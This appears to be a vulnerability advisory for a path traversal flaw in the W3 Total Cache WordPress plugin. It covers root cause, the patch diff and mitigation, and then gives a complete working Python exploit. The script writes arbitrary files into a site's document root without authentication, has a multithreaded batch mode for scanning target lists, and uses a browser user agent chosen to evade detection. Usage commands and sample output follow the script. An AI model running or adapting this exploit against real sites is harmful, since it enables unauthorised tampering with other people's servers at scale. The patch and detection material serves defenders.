#Summary
CVE-2026-18051 is a critical unauthenticated path traversal vulnerability in W3 Total Cache before version 2.10.5. The Disk Enhanced page cache-the plugin's default caching engine-builds filenames directly from the request path without proper validation, allowing attackers to write files into any existing directory on the server. The vulnerability has a CVSS score of 10.0 and requires no authentication or user interaction to exploit.
#Am I affected?
- Affected: W3 Total Cache
< 2.10.5 - Patched: W3 Total Cache
>= 2.10.5 - Default configuration: affected (Page Cache with Disk Enhanced engine is the default when caching is enabled)
- Access needed: unauthenticated network access over HTTP/HTTPS
#How to check
Check the W3 Total Cache version in the WordPress admin panel under Plugins, or run:
curl -s http://target/wp-content/plugins/w3-total-cache/readme.txt | grep "Stable tag:"Map the output to a verdict:
| Version | Status |
|---|---|
| < 2.10.5 | Vulnerable |
| >= 2.10.5 | Patched |
#Fix and mitigation
- Fix: Update W3 Total Cache to version 2.10.5 or later via the WordPress admin panel or WP-CLI:
wp plugin update w3-total-cache - If you cannot upgrade: Disable Page Cache temporarily in the W3 Total Cache settings (Settings > Performance > Page Cache > Enabled = unchecked) until you can upgrade.
- Detection: Watch web server logs for requests containing backslash sequences or percent-encoded dot segments like
%5C..or%2e%2ein the URI path, especially in search paths (/search/...).
#Root cause analysis
#Vulnerable code path
W3 Total Cache's Disk Enhanced page cache stores cached pages on disk with a filename structure that mirrors the request URL so the web server can serve cache hits directly without invoking PHP. The vulnerability stems from two functions in the cache implementation:
Source: PgCache_ContentGrabber::_get_page_key_urlpart()
The plugin takes the request path from $_SERVER['REQUEST_URI'], which on Apache is the byte-for-byte original request target (untouched by Apache's path normalization). It then processes this path:
// URL decode - manufactures path separators after the web server has already validated
$w3tc_key = urldecode( $w3tc_key );
// Collapse slashes - also converts backslashes to forward slashes
$w3tc_key = preg_replace( '~[/\\\]+~', '/', $w3tc_key );
// Further processing...
return $w3tc_key . '_index' . $extra; // $extra = '_slash' if path ends in /Two mistakes in sequence:
urldecode()manufactures path separators. Apache already validates and canonicalizes the request path, collapsing..segments. But$_SERVER['REQUEST_URI']is the unparsed original, so%2e%2e/reaches PHP intact and gets converted to the live../byurldecode().Backslash-to-slash conversion. The regex
[/\\\]+promotes literal backslashes to forward slashes. On Linux, a backslash is an ordinary filename character that neither Apache nor WordPress treats as a separator, so..\..\..survives every upstream validation. Only the plugin's regex turns it into../../../.
Sink: Cache_File_Generic::_get_path() and Cache_File_Generic::set()
The unsafe key is then concatenated under the cache root with no containment check:
public function set( $w3tc_key, $w3tc_value, $expire = 0, $w3tc_group = '' ) {
$w3tc_key = $this->get_item_key( $w3tc_key );
$sub_path = $this->_get_path( $w3tc_key, $w3tc_group );
$path = $this->_cache_dir . DIRECTORY_SEPARATOR . $sub_path; // No validation
$dir = dirname( $path );
// Only checks if directory exists, not whether it's under the cache root
if ( ! @is_dir( $dir ) ) {
if ( ! Util_File::mkdir_from_safe( $dir, dirname( W3TC_CACHE_DIR ) ) ) {
return false;
}
}
// Writes to the unvalidated $path
$tmppath = $path . '.' . getmypid();
$fp = @fopen( $tmppath, 'wb' );
// ...
}The mkdir_from_safe() guard only runs when the target directory does not exist. A traversal into an already-existing directory skips this check entirely, allowing the write to land anywhere the web server user can write-both inside the web root and beyond it.
#How input reaches the sink
The data flow is direct:
- Request arrives:
GET /search/%5C..%5C..%5C..%5C..%5C..%5C../(backslashes percent-encoded) $_SERVER['REQUEST_URI']captures the unparsed original:/search/\..\..\..\..\..\..\_get_page_key_urlpart()urldecodes to/search/../../../../../and collapses backslashes- Cache filename becomes:
page_enhanced/<host>/search/../../../../../_index_slash.html dirname()and concatenation resolve to:<docroot>/_index_slash.html- File is written to the document root, overwriting whatever held that name
#Patch diff
#What the fix does
Version 2.10.5 closes the vulnerability on both the source and sink:
1. Source is hardened - stop manufacturing separators:
- // URL decode.
- $w3tc_key = urldecode( $w3tc_key );
+ // Collapse repeated forward slashes only. Do not urldecode or
+ // promote backslashes to separators - those manufacture path
+ // components the web server never validated.
+ $w3tc_key = preg_replace( '~/+~', '/', $w3tc_key );
- // replace double slashes.
- $w3tc_key = preg_replace( '~[/\\\]+~', '/', $w3tc_key );
-
// replace index.php.
$w3tc_key = str_replace( '/index.php', '/', $w3tc_key );
// remove querystring.
$w3tc_key = preg_replace( '~\?.*$~', '', $w3tc_key );
+ if (
+ ! \is_string( $w3tc_key )
+ || false !== \strpos( $w3tc_key, "\0" )
+ || false !== \strpos( $w3tc_key, '..' )
+ || false !== \strpos( $w3tc_key, '\\' )
+ ) {
+ return false;
+ }2. Sink gains real containment - new _resolve_path() function:
A new private method _resolve_path() replaces bare concatenation in all cache operations:
private function _resolve_path( $w3tc_key, $w3tc_group = '' ) {
// Reject NUL bytes, ".." segments, absolute paths, and Windows drive letters
if ( ! \is_string( $w3tc_key ) || false !== \strpos( $w3tc_key, "\0" ) ) {
return false;
}
if ( false !== \strpos( $key_norm, '..' ) || false !== \strpos( $group_norm, '..' ) ) {
return false;
}
if ( '' !== $key_norm && ( '/' === $key_norm[0] || \preg_match( '#^[a-zA-Z]:/#', $key_norm ) ) ) {
return false;
}
// Verify the final path sits under the cache root using realpath
// ...
}Every cache operation now routes through this function, which rejects attempts to escape the cache directory and verifies containment using realpath().
#Proof of concept
#exploit.py - W3 Total Cache Disk Enhanced Path Traversal PoC
#!/usr/bin/env python3
"""
CVE-2026-18051 - W3 Total Cache Disk Enhanced page-cache path traversal (arbitrary file write)
Affected: W3 Total Cache (WordPress plugin, vendor BoldGrid) - all versions before 2.10.5
Type: Path traversal (CWE-22) -> unauthenticated arbitrary-directory file write
Root cause: with Page Cache "Disk: Enhanced" (the default engine), W3TC builds the on-disk
cache filename directly from the request path. PgCache_ContentGrabber takes the raw
$_SERVER['REQUEST_URI'] (Apache's unparsed_uri), urldecode()s it and collapses [/\\]+ to /
*after* the web server has already validated and routed the request, then Cache_File_Generic
concatenates the result under wp-content/cache/page_enhanced/<host>/ with no containment check.
A path segment built from literal backslashes (dot-dot-backslash repeated) survives every
upstream check - Apache and WordPress treat it as one meaningless segment - and is only turned
into "../../../../../../" by W3TC's own preg_replace, walking the write out of the cache tree
into any already-existing directory the web server user can write to.
The stored file is a real WordPress search-results page (core will not 404 an empty search and
forces a 200), so the traversal rides a normal cacheable 200 request. The basename is fixed by
the plugin to "_index_slash.html"; the attacker chooses only the target directory. This PoC
lands the write in the WordPress document root, overwriting (or creating) /_index_slash.html,
then reads it straight back over HTTP - the served file now carries a per-run random marker
that only our write could have placed there. That is the unauthenticated integrity compromise
(CVSS I:H). This is not RCE: the basename cannot be a .php file and the sibling .htaccess
content is header-sanitised, so no code execution is reachable (see EXPLOITATION.md).
Delivery detail: the classic %2e%2e traversal is rejected by modern Apache (400 AH10244) once
the ".." run climbs above the server root, so this exploit uses the backslash form, which no
upstream component normalises. It is sent with the path preserved verbatim.
Usage:
python exploit.py --host 127.0.0.1 --port 80
python exploit.py --host http://victim.example
python exploit.py --host https://victim.example:8443
python exploit.py --host victim.example --depth 6
python exploit.py --list targets.txt --workers 20
"""
import argparse
import secrets
import sys
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("This exploit requires the 'requests' library (pip install requests).")
sys.exit(2)
CVE_ID = "CVE-2026-18051"
VULN_TYPE = "Path Traversal (arbitrary file write)"
# A plausible browser client string; naming the tool here would be a free detection signature.
UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36")
# The plugin hardcodes this basename for a trailing-slash request; the attacker never chooses it.
CACHE_BASENAME = "_index_slash.html"
# Depth 6 (six "../" from page_enhanced/<host>/search/<term>/) lands in the document root:
# 6 -> document root readable at /_index_slash.html
# 5 -> wp-content readable at /wp-content/_index_slash.html
# 4 -> wp-content/cache readable at /wp-content/cache/_index_slash.html
# Segments between the document root and the target, indexed by (6 - depth):
_DOCROOT_DEPTH = 6
_BELOW_DOCROOT = ["wp-content", "cache", "page_enhanced"]
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
def _read_path_for_depth(depth: int) -> str:
"""Web-root-relative URL where the write lands, derived from the traversal depth."""
below = _DOCROOT_DEPTH - depth
if below < 0 or below > len(_BELOW_DOCROOT):
# Target sits above the document root (not web-served); default to the doc-root path.
return "/" + CACHE_BASENAME
dirs = _BELOW_DOCROOT[:below]
prefix = "".join("/" + d for d in dirs)
return prefix + "/" + CACHE_BASENAME
def _base_url(host: str, port: int, use_tls: bool) -> str:
scheme = "https" if use_tls else "http"
default = 443 if use_tls else 80
netloc = host if port == default else f"{host}:{port}"
return f"{scheme}://{netloc}"
def _do_write(sess, base: str, depth: int, timeout: float):
"""
Run the two-step primitive. Returns (marker, traverse_response).
Raises on transport error. Does not print.
Step 1 (prime): GET /search/<marker>/ -> a normal empty search, 200, cached to
page_enhanced/<host>/search/<marker>/_index_slash.html. This creates the
search/<marker>/ directory so dirname() of the traversal target resolves on disk;
without it the write silently no-ops.
Step 2 (traverse): GET the same /search/<marker> path followed by repeated backslash
dot-dot segments -> W3TC collapses the backslashes to forward slashes,
walks up out of the cache tree and writes the search page for this request into the
chosen directory as _index_slash.html.
"""
marker = secrets.token_hex(8) # lowercase hex: the whole cache key is strtolower()'d
hdrs = {"User-Agent": UA, "Accept-Encoding": "identity"}
# Step 1 - prime the search/<marker>/ directory.
sess.get(f"{base}/search/{marker}/", headers=hdrs, timeout=timeout,
allow_redirects=False, verify=False)
# Step 2 - traverse. Backslashes are sent verbatim; requests/urllib3 leaves them intact.
ups = "\\..".join([""] * (depth + 1)) + "\\" # depth copies of "\.." then a trailing "\"
trav_url = f"{base}/search/{marker}{ups}"
r = sess.get(trav_url, headers=hdrs, timeout=timeout,
allow_redirects=False, verify=False)
return marker, r
def _readback(sess, base: str, read_path: str, timeout: float):
return sess.get(f"{base}{read_path}", headers={"User-Agent": UA},
timeout=timeout, allow_redirects=False, verify=False)
def _try_exploit(host: str, port: int, use_tls: bool, depth: int = _DOCROOT_DEPTH,
read_path: str = None, timeout: float = 15.0):
"""
Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits.
Success = the per-run marker we placed via traversal is served back from the target path.
"""
if read_path is None:
read_path = _read_path_for_depth(depth)
base = _base_url(host, port, use_tls)
try:
sess = requests.Session()
marker, trav = _do_write(sess, base, depth, timeout)
if trav.status_code != 200:
return False, f"traversal request returned HTTP {trav.status_code} (need cacheable 200)"
rb = _readback(sess, base, read_path, timeout)
if rb.status_code == 200 and marker in rb.text:
return True, f"marker {marker} written to {read_path} and served back (arbitrary file write)"
if rb.status_code == 200 and "docroot-placeholder" not in rb.text and "Page Caching" in rb.text:
# Fell for a cached page but not our marker - be conservative.
return False, f"{read_path} served 200 but marker absent - likely patched"
return False, f"marker not present at {read_path} (HTTP {rb.status_code}) - not vulnerable / patched"
except requests.exceptions.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
def exploit(host: str, port: int, use_tls: bool, depth: int, read_path: str,
timeout: float = 15.0) -> None:
header(host, port)
if read_path is None:
read_path = _read_path_for_depth(depth)
base = _base_url(host, port, use_tls)
sess = requests.Session()
step(1, f"Baseline: reading {read_path} before the write")
try:
before = _readback(sess, base, read_path, timeout)
before_snippet = before.text[:200] if before.status_code == 200 else f"(HTTP {before.status_code})"
section(f"BEFORE ({read_path})", f"HTTP {before.status_code}\n{before_snippet}")
except requests.exceptions.RequestException as e:
done(False, f"target unreachable at baseline ({e.__class__.__name__})")
step(2, "Priming the page cache (creates search/<marker>/ so the traversal resolves)")
step(3, f"Traversing {depth} directories up out of the cache tree via backslash segments")
try:
marker, trav = _do_write(sess, base, depth, timeout)
except requests.exceptions.RequestException as e:
done(False, f"target unreachable during write ({e.__class__.__name__})")
section("TRAVERSAL RESPONSE", f"HTTP {trav.status_code}, {len(trav.text)} bytes body")
if trav.status_code != 200:
done(False, f"traversal request returned HTTP {trav.status_code}; a cacheable 200 is "
f"required (check pretty permalinks and that page cache is enabled)")
step(4, f"Reading {read_path} back to confirm the write landed")
try:
after = _readback(sess, base, read_path, timeout)
except requests.exceptions.RequestException as e:
done(False, f"target unreachable during read-back ({e.__class__.__name__})")
proof = after.text[:600]
section(f"AFTER ({read_path})", f"HTTP {after.status_code}\n{proof}")
if after.status_code == 200 and marker in after.text:
cache_hit = "Page Caching using Disk: Enhanced" in after.text
section("WRITE CONFIRMED",
f"Per-run marker '{marker}' now served from {read_path}.\n"
f"This file previously held: "
f"{'the seeded placeholder' if 'docroot-placeholder' in before_snippet else 'other/none'}.\n"
f"W3TC Disk:Enhanced footer present in written file: {cache_hit}")
done(True, f"Unauthenticated arbitrary file write - marker '{marker}' written to "
f"{read_path} in the document root and read back over HTTP")
done(False, f"marker '{marker}' not found at {read_path} (HTTP {after.status_code}); "
f"target is not vulnerable or is patched (2.10.5+ confines the write to the cache dir)")
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
depth: int = _DOCROOT_DEPTH, read_path: str = None) -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, _ = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, depth=depth, read_path=read_path)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--depth", type=int, default=_DOCROOT_DEPTH,
help="Directory-traversal hops out of the cache tree "
"(default: 6 = WordPress document root)")
parser.add_argument("--read-path", default=None,
help="Web-root-relative URL to read the written file back from "
"(default: derived from --depth, e.g. /_index_slash.html for the doc root)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
depth=args.depth, read_path=args.read_path)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.depth, args.read_path)#Usage
# Single target via hostname or IP
python exploit.py --host 203.0.113.10
# With custom port
python exploit.py --host 203.0.113.10 --port 8080
# Full URL with TLS
python exploit.py --host https://victim.example
# Batch scan mode (one target per line)
python exploit.py --list targets.txt --workers 20
# Custom traversal depth
python exploit.py --host 127.0.0.1 --depth 5 # lands in /wp-content instead of docroot#Expected output - vulnerable target (2.10.4)
============================================================
ALIM EXPLOIT CVE-2026-18051
Type: Path Traversal (arbitrary file write) | Target: 127.0.0.1
============================================================
[STEP 1] Baseline: reading /_index_slash.html before the write
--- BEFORE (/_index_slash.html) ---
HTTP 200
<p>docroot-placeholder-8f21c4 - original contents of this file, untouched.</p>
---
[STEP 2] Priming the page cache (creates search/<marker>/ so the traversal resolves)
[STEP 3] Traversing 6 directories up out of the cache tree via backslash segments
--- TRAVERSAL RESPONSE ---
HTTP 200, 55304 bytes body
---
[STEP 4] Reading /_index_slash.html back to confirm the write landed
--- AFTER (/_index_slash.html) ---
HTTP 200
<title>Search Results for "d5ac29221f130ec4\..\..\..\..\..\..\” - Site Title</title>
---
--- WRITE CONFIRMED ---
Per-run marker 'd5ac29221f130ec4' now served from /_index_slash.html.
This file previously held: the seeded placeholder.
---
============================================================
RESULT : SUCCESS
EVIDENCE: Unauthenticated arbitrary file write - marker 'd5ac29221f130ec4' written to /_index_slash.html in the document root and read back over HTTP
============================================================#Expected output - patched target (2.10.5)
============================================================
ALIM EXPLOIT CVE-2026-18051
Type: Path Traversal (arbitrary file write) | Target: 127.0.0.1
============================================================
[STEP 1] Baseline: reading /_index_slash.html before the write
--- BEFORE (/_index_slash.html) ---
HTTP 200
<p>docroot-placeholder-8f21c4 - original contents of this file, untouched.</p>
---
[STEP 2] Priming the page cache (creates search/<marker>/ so the traversal resolves)
[STEP 3] Traversing 6 directories up out of the cache tree via backslash segments
--- TRAVERSAL RESPONSE ---
HTTP 200, 55362 bytes body
---
[STEP 4] Reading /_index_slash.html back to confirm the write landed
--- AFTER (/_index_slash.html) ---
HTTP 200
<p>docroot-placeholder-8f21c4 - original contents of this file, untouched.</p>
---
============================================================
RESULT : FAILURE
EVIDENCE: marker '855d0ab059e37d2c' not found at /_index_slash.html (HTTP 200); target is not vulnerable or is patched (2.10.5+ confines the write to the cache dir)
============================================================#Exploitation notes
#Preconditions
The exploit requires the following configuration state on the target:
- Page Cache enabled with the "Disk: Enhanced" engine (this is the default when caching is enabled)
- Pretty permalinks enabled - needed for the WordPress search rewrite rule to match
- Anonymous request - no WordPress logged-in cookies
- No query string in the request (Enhanced mode caches only bare path requests)
- GET requests only - POST, PUT, DELETE are rejected by the cache logic
- Existing directory at the target traversal depth - a pre-existing
search/directory is created with the first (prime) request
#Reliability
The exploit is highly reliable on a standard WordPress installation with W3 Total Cache caching enabled. Success depends on:
Two-step sequence - the prime request creates the
page_enhanced/<host>/search/<marker>/directory so the subsequent traversal can resolve. Skipping the prime or using a differentHostheader causes the write to fail silently.Unique marker per run - each run generates a fresh random marker, so repeated runs never collide with cached entries. The marker appears in the WordPress search page title, providing unforgeable proof of the write.
Path traversal method - backslash segments (
\..) are used instead of percent-encoded dots (%2e%2e) because modern Apache rejects the latter with HTTP 400 once the traversal climbs above the server root.
#Impact
The vulnerability allows unauthenticated attackers to write files into any existing directory on the filesystem that is writable by the web server user. On a typical WordPress installation:
- Document root writes are immediately exploitable and web-readable
- Outside the web root - writes to
/tmp,/var, or other directories are possible when those directories exist and are writable by the web server user (www-data, apache, etc.) - Integrity compromise - existing files are silently overwritten
- Availability compromise - the site can be broken by overwriting critical WordPress files (not
.phpbecause the basename is fixed, but configuration files in writable directories are exposed)
#Not RCE
While this is a critical file-write vulnerability, it does not lead to remote code execution because:
- The attacker cannot choose the filename - the plugin always uses
_index*.htmlas the basename - The attacker cannot inject
.phpor other executable extensions - The sibling
.htaccesscontent is generated from sanitized HTTP response headers with all newlines stripped, preventing directive injection
#References
- CVE: CVE-2026-18051
- Advisory: WPScan Vulnerability Database
- Fix commit: BoldGrid/w3-total-cache#1377
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-18051
